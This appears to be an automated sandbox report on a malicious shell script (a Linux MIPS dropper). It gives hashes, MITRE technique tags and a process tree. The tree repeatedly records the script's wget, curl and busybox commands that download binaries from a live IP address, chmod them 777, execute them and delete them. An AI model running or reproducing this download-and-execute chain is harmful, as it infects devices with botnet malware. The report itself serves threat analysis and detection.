2c061a31d52a6ea337672e40b621f229759f72270e088feea57629a5480c6668

Analysis

max time kernel
59s
max time network
62s
platform
debian-9_mipsel
resource
debian9-mipsel-20240729-en
resource tags

arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
09/11/2024, 02:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2c061a31d52a6ea337672e40b621f229759f72270e088feea57629a5480c6668.sh
Size 10KB
Sample241109-ctfyaavgld
SHA256 2c061a31d52a6ea337672e40b621f229759f72270e088feea57629a5480c6668
MD5 eaf1fef9994ad89a1db965cb0c802d24
SHA1 ae965a55ed9872688d3d18d9f4d31e0eb0b520df
SHA512 a43f5120b768c227fdd3dd6f4941f09f55d5bcd94680e8c2abe9a457e8d7b62c8be0ad5f2d50f285f664ee361ddda6d8f2f56d34c8326f144a7514a1c16f507c
SSDEEP 96:fSOfiqDm15onHZ9sAzzk0o16czJb1J8BH3G2OI1J8BH3tr0ncsMsAzzk0e+SOfiV:tjc16sN1J8BH3Jj1J8BH3h2
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
757	chmod
880	chmod
886	chmod
946	chmod
958	chmod
748	chmod
859	chmod
874	chmod
964	chmod
976	chmod
982	chmod
785	chmod
898	chmod
970	chmod
741	chmod
811	chmod
817	chmod
934	chmod
940	chmod
928	chmod
922	chmod
836	chmod
868	chmod
892	chmod
910	chmod
916	chmod
904	chmod
952	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 10 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
896	curl
899	PqrIpl91kpYs6GXmpGIrRHnyUn9z4KNJ3f
908	curl
909	busybox
911	PqrIpl91kpYs6GXmpGIrRHnyUn9z4KNJ3f
895	wget
900	rm
907	wget
912	rm
897	busybox

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/t80g4X0vD5gjcwAwG91aTiIHMnZJ0qNdhL	curl
File opened for modification	/tmp/5zpLAEAqOOOYueM0HCwUOdUskCFttsXSAP	curl
File opened for modification	/tmp/uC9ZTFpFGijb9GpBWcADGvYfOj4R6ZH5N9	curl
File opened for modification	/tmp/cD9xOCpX9djUdjkIAXhXScmOAC6g9AD3kY	curl
File opened for modification	/tmp/VSOY9Tj58BSZg9nh0ayq4HFjhWDIKz5kZN	curl
File opened for modification	/tmp/PqrIpl91kpYs6GXmpGIrRHnyUn9z4KNJ3f	curl
File opened for modification	/tmp/KCiDRl4K38tdSwvVR19inCYz0xLlXVG7Z7	curl
File opened for modification	/tmp/t80g4X0vD5gjcwAwG91aTiIHMnZJ0qNdhL	curl
File opened for modification	/tmp/OuUaiTR7HTQYD6b7eIRCJAqc1QmGahPqF7	curl
File opened for modification	/tmp/UMlD8VuilCTzwv90nEe83jpPJBI0xOw5SY	curl
File opened for modification	/tmp/TwzVeOt4SDJnSSHcgpUjD5LRPhjcwYH1sY	curl
File opened for modification	/tmp/TwzVeOt4SDJnSSHcgpUjD5LRPhjcwYH1sY	curl
File opened for modification	/tmp/F81MESwjvkyxM19BF6mTiUvzoEpcqm3uZw	curl
File opened for modification	/tmp/F81MESwjvkyxM19BF6mTiUvzoEpcqm3uZw	curl
File opened for modification	/tmp/PqrIpl91kpYs6GXmpGIrRHnyUn9z4KNJ3f	curl
File opened for modification	/tmp/uC9ZTFpFGijb9GpBWcADGvYfOj4R6ZH5N9	curl
File opened for modification	/tmp/vcmNXK1Z18xuYgkmFLQ4yGgBzQ9qpKF0Q2	curl
File opened for modification	/tmp/KCiDRl4K38tdSwvVR19inCYz0xLlXVG7Z7	curl
File opened for modification	/tmp/5zpLAEAqOOOYueM0HCwUOdUskCFttsXSAP	curl
File opened for modification	/tmp/3Fx6pSg1ctlDlkG35FfLIfGdSIAJ5VlXPm	curl
File opened for modification	/tmp/ACmlaDGuwbPUSknWVekZUJ5pqxJWJ9zYxK	curl
File opened for modification	/tmp/cD9xOCpX9djUdjkIAXhXScmOAC6g9AD3kY	curl
File opened for modification	/tmp/vcmNXK1Z18xuYgkmFLQ4yGgBzQ9qpKF0Q2	curl
File opened for modification	/tmp/VSOY9Tj58BSZg9nh0ayq4HFjhWDIKz5kZN	curl
File opened for modification	/tmp/3Fx6pSg1ctlDlkG35FfLIfGdSIAJ5VlXPm	curl
File opened for modification	/tmp/OuUaiTR7HTQYD6b7eIRCJAqc1QmGahPqF7	curl
File opened for modification	/tmp/ACmlaDGuwbPUSknWVekZUJ5pqxJWJ9zYxK	curl
File opened for modification	/tmp/UMlD8VuilCTzwv90nEe83jpPJBI0xOw5SY	curl

/tmp/2c061a31d52a6ea337672e40b621f229759f72270e088feea57629a5480c6668.sh
/tmp/2c061a31d52a6ea337672e40b621f229759f72270e088feea57629a5480c6668.sh
1⤵
PID:710
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:713
- /usr/bin/wget
  wget http://87.120.84.230/bins/KCiDRl4K38tdSwvVR19inCYz0xLlXVG7Z7
  2⤵
  PID:719
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/KCiDRl4K38tdSwvVR19inCYz0xLlXVG7Z7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:730
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/KCiDRl4K38tdSwvVR19inCYz0xLlXVG7Z7
  2⤵
  PID:736
- /bin/chmod
  chmod 777 KCiDRl4K38tdSwvVR19inCYz0xLlXVG7Z7
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/KCiDRl4K38tdSwvVR19inCYz0xLlXVG7Z7
  ./KCiDRl4K38tdSwvVR19inCYz0xLlXVG7Z7
  2⤵
  - Executes dropped EXE
  PID:742
- /bin/rm
  rm KCiDRl4K38tdSwvVR19inCYz0xLlXVG7Z7
  2⤵
  PID:743
- /usr/bin/wget
  wget http://87.120.84.230/bins/OuUaiTR7HTQYD6b7eIRCJAqc1QmGahPqF7
  2⤵
  PID:744
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/OuUaiTR7HTQYD6b7eIRCJAqc1QmGahPqF7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:746
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/OuUaiTR7HTQYD6b7eIRCJAqc1QmGahPqF7
  2⤵
  PID:747
- /bin/chmod
  chmod 777 OuUaiTR7HTQYD6b7eIRCJAqc1QmGahPqF7
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/OuUaiTR7HTQYD6b7eIRCJAqc1QmGahPqF7
  ./OuUaiTR7HTQYD6b7eIRCJAqc1QmGahPqF7
  2⤵
  - Executes dropped EXE
  PID:749
- /bin/rm
  rm OuUaiTR7HTQYD6b7eIRCJAqc1QmGahPqF7
  2⤵
  PID:750
- /usr/bin/wget
  wget http://87.120.84.230/bins/uC9ZTFpFGijb9GpBWcADGvYfOj4R6ZH5N9
  2⤵
  PID:751
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/uC9ZTFpFGijb9GpBWcADGvYfOj4R6ZH5N9
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:752
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/uC9ZTFpFGijb9GpBWcADGvYfOj4R6ZH5N9
  2⤵
  PID:753
- /bin/chmod
  chmod 777 uC9ZTFpFGijb9GpBWcADGvYfOj4R6ZH5N9
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /tmp/uC9ZTFpFGijb9GpBWcADGvYfOj4R6ZH5N9
  ./uC9ZTFpFGijb9GpBWcADGvYfOj4R6ZH5N9
  2⤵
  - Executes dropped EXE
  PID:760
- /bin/rm
  rm uC9ZTFpFGijb9GpBWcADGvYfOj4R6ZH5N9
  2⤵
  PID:764
- /usr/bin/wget
  wget http://87.120.84.230/bins/vcmNXK1Z18xuYgkmFLQ4yGgBzQ9qpKF0Q2
  2⤵
  PID:765
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/vcmNXK1Z18xuYgkmFLQ4yGgBzQ9qpKF0Q2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:772
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/vcmNXK1Z18xuYgkmFLQ4yGgBzQ9qpKF0Q2
  2⤵
  PID:780
- /bin/chmod
  chmod 777 vcmNXK1Z18xuYgkmFLQ4yGgBzQ9qpKF0Q2
  2⤵
  - File and Directory Permissions Modification
  PID:785
- /tmp/vcmNXK1Z18xuYgkmFLQ4yGgBzQ9qpKF0Q2
  ./vcmNXK1Z18xuYgkmFLQ4yGgBzQ9qpKF0Q2
  2⤵
  - Executes dropped EXE
  PID:787
- /bin/rm
  rm vcmNXK1Z18xuYgkmFLQ4yGgBzQ9qpKF0Q2
  2⤵
  PID:790
- /usr/bin/wget
  wget http://87.120.84.230/bins/t80g4X0vD5gjcwAwG91aTiIHMnZJ0qNdhL
  2⤵
  PID:791
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/t80g4X0vD5gjcwAwG91aTiIHMnZJ0qNdhL
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:797
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/t80g4X0vD5gjcwAwG91aTiIHMnZJ0qNdhL
  2⤵
  PID:808
- /bin/chmod
  chmod 777 t80g4X0vD5gjcwAwG91aTiIHMnZJ0qNdhL
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/t80g4X0vD5gjcwAwG91aTiIHMnZJ0qNdhL
  ./t80g4X0vD5gjcwAwG91aTiIHMnZJ0qNdhL
  2⤵
  - Executes dropped EXE
  PID:812
- /bin/rm
  rm t80g4X0vD5gjcwAwG91aTiIHMnZJ0qNdhL
  2⤵
  PID:813
- /usr/bin/wget
  wget http://87.120.84.230/bins/5zpLAEAqOOOYueM0HCwUOdUskCFttsXSAP
  2⤵
  PID:814
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5zpLAEAqOOOYueM0HCwUOdUskCFttsXSAP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:815
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5zpLAEAqOOOYueM0HCwUOdUskCFttsXSAP
  2⤵
  PID:816
- /bin/chmod
  chmod 777 5zpLAEAqOOOYueM0HCwUOdUskCFttsXSAP
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/5zpLAEAqOOOYueM0HCwUOdUskCFttsXSAP
  ./5zpLAEAqOOOYueM0HCwUOdUskCFttsXSAP
  2⤵
  - Executes dropped EXE
  PID:818
- /bin/rm
  rm 5zpLAEAqOOOYueM0HCwUOdUskCFttsXSAP
  2⤵
  PID:819
- /usr/bin/wget
  wget http://87.120.84.230/bins/UMlD8VuilCTzwv90nEe83jpPJBI0xOw5SY
  2⤵
  PID:820
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UMlD8VuilCTzwv90nEe83jpPJBI0xOw5SY
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:821
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UMlD8VuilCTzwv90nEe83jpPJBI0xOw5SY
  2⤵
  PID:830
- /bin/chmod
  chmod 777 UMlD8VuilCTzwv90nEe83jpPJBI0xOw5SY
  2⤵
  - File and Directory Permissions Modification
  PID:836
- /tmp/UMlD8VuilCTzwv90nEe83jpPJBI0xOw5SY
  ./UMlD8VuilCTzwv90nEe83jpPJBI0xOw5SY
  2⤵
  - Executes dropped EXE
  PID:837
- /bin/rm
  rm UMlD8VuilCTzwv90nEe83jpPJBI0xOw5SY
  2⤵
  PID:841
- /usr/bin/wget
  wget http://87.120.84.230/bins/TwzVeOt4SDJnSSHcgpUjD5LRPhjcwYH1sY
  2⤵
  PID:842
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/TwzVeOt4SDJnSSHcgpUjD5LRPhjcwYH1sY
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:849
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/TwzVeOt4SDJnSSHcgpUjD5LRPhjcwYH1sY
  2⤵
  PID:858
- /bin/chmod
  chmod 777 TwzVeOt4SDJnSSHcgpUjD5LRPhjcwYH1sY
  2⤵
  - File and Directory Permissions Modification
  PID:859
- /tmp/TwzVeOt4SDJnSSHcgpUjD5LRPhjcwYH1sY
  ./TwzVeOt4SDJnSSHcgpUjD5LRPhjcwYH1sY
  2⤵
  - Executes dropped EXE
  PID:860
- /bin/rm
  rm TwzVeOt4SDJnSSHcgpUjD5LRPhjcwYH1sY
  2⤵
  PID:861
- /usr/bin/wget
  wget http://87.120.84.230/bins/cD9xOCpX9djUdjkIAXhXScmOAC6g9AD3kY
  2⤵
  PID:862
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/cD9xOCpX9djUdjkIAXhXScmOAC6g9AD3kY
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:863
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/cD9xOCpX9djUdjkIAXhXScmOAC6g9AD3kY
  2⤵
  PID:867
- /bin/chmod
  chmod 777 cD9xOCpX9djUdjkIAXhXScmOAC6g9AD3kY
  2⤵
  - File and Directory Permissions Modification
  PID:868
- /tmp/cD9xOCpX9djUdjkIAXhXScmOAC6g9AD3kY
  ./cD9xOCpX9djUdjkIAXhXScmOAC6g9AD3kY
  2⤵
  - Executes dropped EXE
  PID:869
- /bin/rm
  rm cD9xOCpX9djUdjkIAXhXScmOAC6g9AD3kY
  2⤵
  PID:870
- /usr/bin/wget
  wget http://87.120.84.230/bins/VSOY9Tj58BSZg9nh0ayq4HFjhWDIKz5kZN
  2⤵
  PID:871
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/VSOY9Tj58BSZg9nh0ayq4HFjhWDIKz5kZN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:872
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/VSOY9Tj58BSZg9nh0ayq4HFjhWDIKz5kZN
  2⤵
  PID:873
- /bin/chmod
  chmod 777 VSOY9Tj58BSZg9nh0ayq4HFjhWDIKz5kZN
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /tmp/VSOY9Tj58BSZg9nh0ayq4HFjhWDIKz5kZN
  ./VSOY9Tj58BSZg9nh0ayq4HFjhWDIKz5kZN
  2⤵
  - Executes dropped EXE
  PID:875
- /bin/rm
  rm VSOY9Tj58BSZg9nh0ayq4HFjhWDIKz5kZN
  2⤵
  PID:876
- /usr/bin/wget
  wget http://87.120.84.230/bins/ACmlaDGuwbPUSknWVekZUJ5pqxJWJ9zYxK
  2⤵
  PID:877
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ACmlaDGuwbPUSknWVekZUJ5pqxJWJ9zYxK
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:878
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ACmlaDGuwbPUSknWVekZUJ5pqxJWJ9zYxK
  2⤵
  PID:879
- /bin/chmod
  chmod 777 ACmlaDGuwbPUSknWVekZUJ5pqxJWJ9zYxK
  2⤵
  - File and Directory Permissions Modification
  PID:880
- /tmp/ACmlaDGuwbPUSknWVekZUJ5pqxJWJ9zYxK
  ./ACmlaDGuwbPUSknWVekZUJ5pqxJWJ9zYxK
  2⤵
  - Executes dropped EXE
  PID:881
- /bin/rm
  rm ACmlaDGuwbPUSknWVekZUJ5pqxJWJ9zYxK
  2⤵
  PID:882
- /usr/bin/wget
  wget http://87.120.84.230/bins/F81MESwjvkyxM19BF6mTiUvzoEpcqm3uZw
  2⤵
  PID:883
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/F81MESwjvkyxM19BF6mTiUvzoEpcqm3uZw
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:884
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/F81MESwjvkyxM19BF6mTiUvzoEpcqm3uZw
  2⤵
  PID:885
- /bin/chmod
  chmod 777 F81MESwjvkyxM19BF6mTiUvzoEpcqm3uZw
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /tmp/F81MESwjvkyxM19BF6mTiUvzoEpcqm3uZw
  ./F81MESwjvkyxM19BF6mTiUvzoEpcqm3uZw
  2⤵
  - Executes dropped EXE
  PID:887
- /bin/rm
  rm F81MESwjvkyxM19BF6mTiUvzoEpcqm3uZw
  2⤵
  PID:888
- /usr/bin/wget
  wget http://87.120.84.230/bins/3Fx6pSg1ctlDlkG35FfLIfGdSIAJ5VlXPm
  2⤵
  PID:889
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/3Fx6pSg1ctlDlkG35FfLIfGdSIAJ5VlXPm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:890
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/3Fx6pSg1ctlDlkG35FfLIfGdSIAJ5VlXPm
  2⤵
  PID:891
- /bin/chmod
  chmod 777 3Fx6pSg1ctlDlkG35FfLIfGdSIAJ5VlXPm
  2⤵
  - File and Directory Permissions Modification
  PID:892
- /tmp/3Fx6pSg1ctlDlkG35FfLIfGdSIAJ5VlXPm
  ./3Fx6pSg1ctlDlkG35FfLIfGdSIAJ5VlXPm
  2⤵
  - Executes dropped EXE
  PID:893
- /bin/rm
  rm 3Fx6pSg1ctlDlkG35FfLIfGdSIAJ5VlXPm
  2⤵
  PID:894
- /usr/bin/wget
  wget http://87.120.84.230/bins/PqrIpl91kpYs6GXmpGIrRHnyUn9z4KNJ3f
  2⤵
  - System Network Configuration Discovery
  PID:895
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/PqrIpl91kpYs6GXmpGIrRHnyUn9z4KNJ3f
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:896
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/PqrIpl91kpYs6GXmpGIrRHnyUn9z4KNJ3f
  2⤵
  - System Network Configuration Discovery
  PID:897
- /bin/chmod
  chmod 777 PqrIpl91kpYs6GXmpGIrRHnyUn9z4KNJ3f
  2⤵
  - File and Directory Permissions Modification
  PID:898
- /tmp/PqrIpl91kpYs6GXmpGIrRHnyUn9z4KNJ3f
  ./PqrIpl91kpYs6GXmpGIrRHnyUn9z4KNJ3f
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:899
- /bin/rm
  rm PqrIpl91kpYs6GXmpGIrRHnyUn9z4KNJ3f
  2⤵
  - System Network Configuration Discovery
  PID:900
- /usr/bin/wget
  wget http://87.120.84.230/bins/VSOY9Tj58BSZg9nh0ayq4HFjhWDIKz5kZN
  2⤵
  PID:901
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/VSOY9Tj58BSZg9nh0ayq4HFjhWDIKz5kZN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:902
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/VSOY9Tj58BSZg9nh0ayq4HFjhWDIKz5kZN
  2⤵
  PID:903
- /bin/chmod
  chmod 777 VSOY9Tj58BSZg9nh0ayq4HFjhWDIKz5kZN
  2⤵
  - File and Directory Permissions Modification
  PID:904
- /tmp/VSOY9Tj58BSZg9nh0ayq4HFjhWDIKz5kZN
  ./VSOY9Tj58BSZg9nh0ayq4HFjhWDIKz5kZN
  2⤵
  - Executes dropped EXE
  PID:905
- /bin/rm
  rm VSOY9Tj58BSZg9nh0ayq4HFjhWDIKz5kZN
  2⤵
  PID:906
- /usr/bin/wget
  wget http://87.120.84.230/bins/PqrIpl91kpYs6GXmpGIrRHnyUn9z4KNJ3f
  2⤵
  - System Network Configuration Discovery
  PID:907
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/PqrIpl91kpYs6GXmpGIrRHnyUn9z4KNJ3f
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:908
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/PqrIpl91kpYs6GXmpGIrRHnyUn9z4KNJ3f
  2⤵
  - System Network Configuration Discovery
  PID:909
- /bin/chmod
  chmod 777 PqrIpl91kpYs6GXmpGIrRHnyUn9z4KNJ3f
  2⤵
  - File and Directory Permissions Modification
  PID:910
- /tmp/PqrIpl91kpYs6GXmpGIrRHnyUn9z4KNJ3f
  ./PqrIpl91kpYs6GXmpGIrRHnyUn9z4KNJ3f
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:911
- /bin/rm
  rm PqrIpl91kpYs6GXmpGIrRHnyUn9z4KNJ3f
  2⤵
  - System Network Configuration Discovery
  PID:912
- /usr/bin/wget
  wget http://87.120.84.230/bins/ACmlaDGuwbPUSknWVekZUJ5pqxJWJ9zYxK
  2⤵
  PID:913
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ACmlaDGuwbPUSknWVekZUJ5pqxJWJ9zYxK
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:914
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ACmlaDGuwbPUSknWVekZUJ5pqxJWJ9zYxK
  2⤵
  PID:915
- /bin/chmod
  chmod 777 ACmlaDGuwbPUSknWVekZUJ5pqxJWJ9zYxK
  2⤵
  - File and Directory Permissions Modification
  PID:916
- /tmp/ACmlaDGuwbPUSknWVekZUJ5pqxJWJ9zYxK
  ./ACmlaDGuwbPUSknWVekZUJ5pqxJWJ9zYxK
  2⤵
  - Executes dropped EXE
  PID:917
- /bin/rm
  rm ACmlaDGuwbPUSknWVekZUJ5pqxJWJ9zYxK
  2⤵
  PID:918
- /usr/bin/wget
  wget http://87.120.84.230/bins/F81MESwjvkyxM19BF6mTiUvzoEpcqm3uZw
  2⤵
  PID:919
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/F81MESwjvkyxM19BF6mTiUvzoEpcqm3uZw
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:920
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/F81MESwjvkyxM19BF6mTiUvzoEpcqm3uZw
  2⤵
  PID:921
- /bin/chmod
  chmod 777 F81MESwjvkyxM19BF6mTiUvzoEpcqm3uZw
  2⤵
  - File and Directory Permissions Modification
  PID:922
- /tmp/F81MESwjvkyxM19BF6mTiUvzoEpcqm3uZw
  ./F81MESwjvkyxM19BF6mTiUvzoEpcqm3uZw
  2⤵
  - Executes dropped EXE
  PID:923
- /bin/rm
  rm F81MESwjvkyxM19BF6mTiUvzoEpcqm3uZw
  2⤵
  PID:924
- /usr/bin/wget
  wget http://87.120.84.230/bins/3Fx6pSg1ctlDlkG35FfLIfGdSIAJ5VlXPm
  2⤵
  PID:925
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/3Fx6pSg1ctlDlkG35FfLIfGdSIAJ5VlXPm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:926
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/3Fx6pSg1ctlDlkG35FfLIfGdSIAJ5VlXPm
  2⤵
  PID:927
- /bin/chmod
  chmod 777 3Fx6pSg1ctlDlkG35FfLIfGdSIAJ5VlXPm
  2⤵
  - File and Directory Permissions Modification
  PID:928
- /tmp/3Fx6pSg1ctlDlkG35FfLIfGdSIAJ5VlXPm
  ./3Fx6pSg1ctlDlkG35FfLIfGdSIAJ5VlXPm
  2⤵
  - Executes dropped EXE
  PID:929
- /bin/rm
  rm 3Fx6pSg1ctlDlkG35FfLIfGdSIAJ5VlXPm
  2⤵
  PID:930
- /usr/bin/wget
  wget http://87.120.84.230/bins/t80g4X0vD5gjcwAwG91aTiIHMnZJ0qNdhL
  2⤵
  PID:931
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/t80g4X0vD5gjcwAwG91aTiIHMnZJ0qNdhL
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:932
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/t80g4X0vD5gjcwAwG91aTiIHMnZJ0qNdhL
  2⤵
  PID:933
- /bin/chmod
  chmod 777 t80g4X0vD5gjcwAwG91aTiIHMnZJ0qNdhL
  2⤵
  - File and Directory Permissions Modification
  PID:934
- /tmp/t80g4X0vD5gjcwAwG91aTiIHMnZJ0qNdhL
  ./t80g4X0vD5gjcwAwG91aTiIHMnZJ0qNdhL
  2⤵
  - Executes dropped EXE
  PID:935
- /bin/rm
  rm t80g4X0vD5gjcwAwG91aTiIHMnZJ0qNdhL
  2⤵
  PID:936
- /usr/bin/wget
  wget http://87.120.84.230/bins/KCiDRl4K38tdSwvVR19inCYz0xLlXVG7Z7
  2⤵
  PID:937
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/KCiDRl4K38tdSwvVR19inCYz0xLlXVG7Z7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:938
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/KCiDRl4K38tdSwvVR19inCYz0xLlXVG7Z7
  2⤵
  PID:939
- /bin/chmod
  chmod 777 KCiDRl4K38tdSwvVR19inCYz0xLlXVG7Z7
  2⤵
  - File and Directory Permissions Modification
  PID:940
- /tmp/KCiDRl4K38tdSwvVR19inCYz0xLlXVG7Z7
  ./KCiDRl4K38tdSwvVR19inCYz0xLlXVG7Z7
  2⤵
  - Executes dropped EXE
  PID:941
- /bin/rm
  rm KCiDRl4K38tdSwvVR19inCYz0xLlXVG7Z7
  2⤵
  PID:942
- /usr/bin/wget
  wget http://87.120.84.230/bins/OuUaiTR7HTQYD6b7eIRCJAqc1QmGahPqF7
  2⤵
  PID:943
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/OuUaiTR7HTQYD6b7eIRCJAqc1QmGahPqF7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:944
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/OuUaiTR7HTQYD6b7eIRCJAqc1QmGahPqF7
  2⤵
  PID:945
- /bin/chmod
  chmod 777 OuUaiTR7HTQYD6b7eIRCJAqc1QmGahPqF7
  2⤵
  - File and Directory Permissions Modification
  PID:946
- /tmp/OuUaiTR7HTQYD6b7eIRCJAqc1QmGahPqF7
  ./OuUaiTR7HTQYD6b7eIRCJAqc1QmGahPqF7
  2⤵
  - Executes dropped EXE
  PID:947
- /bin/rm
  rm OuUaiTR7HTQYD6b7eIRCJAqc1QmGahPqF7
  2⤵
  PID:948
- /usr/bin/wget
  wget http://87.120.84.230/bins/uC9ZTFpFGijb9GpBWcADGvYfOj4R6ZH5N9
  2⤵
  PID:949
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/uC9ZTFpFGijb9GpBWcADGvYfOj4R6ZH5N9
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:950
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/uC9ZTFpFGijb9GpBWcADGvYfOj4R6ZH5N9
  2⤵
  PID:951
- /bin/chmod
  chmod 777 uC9ZTFpFGijb9GpBWcADGvYfOj4R6ZH5N9
  2⤵
  - File and Directory Permissions Modification
  PID:952
- /tmp/uC9ZTFpFGijb9GpBWcADGvYfOj4R6ZH5N9
  ./uC9ZTFpFGijb9GpBWcADGvYfOj4R6ZH5N9
  2⤵
  - Executes dropped EXE
  PID:953
- /bin/rm
  rm uC9ZTFpFGijb9GpBWcADGvYfOj4R6ZH5N9
  2⤵
  PID:954
- /usr/bin/wget
  wget http://87.120.84.230/bins/vcmNXK1Z18xuYgkmFLQ4yGgBzQ9qpKF0Q2
  2⤵
  PID:955
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/vcmNXK1Z18xuYgkmFLQ4yGgBzQ9qpKF0Q2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:956
- /bin/busybox
